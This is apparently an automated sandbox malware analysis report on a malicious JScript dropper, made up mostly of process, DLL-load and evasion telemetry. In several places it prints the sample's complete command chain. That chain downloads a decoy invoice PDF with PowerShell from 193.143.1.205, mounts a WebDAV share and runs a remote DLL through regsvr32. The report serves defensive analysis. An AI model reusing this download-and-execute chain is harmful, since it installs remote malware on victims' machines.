Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9232.js.csv");ITextStream.WriteLine(" entry:7551 f:jqffgulm");ITextStream.WriteLine(" exec:2 f:jqffgulm");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4495			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5350			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6008	Thread sleep count: 4495 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6008	Thread sleep count: 5350 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4352	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6600	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6188	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7364	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2104420306.000001CDEBC9C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2104420306.000001CDEBC38000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3325633987.000001C979024000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3327229823.000001C97E65A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2607724319005.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
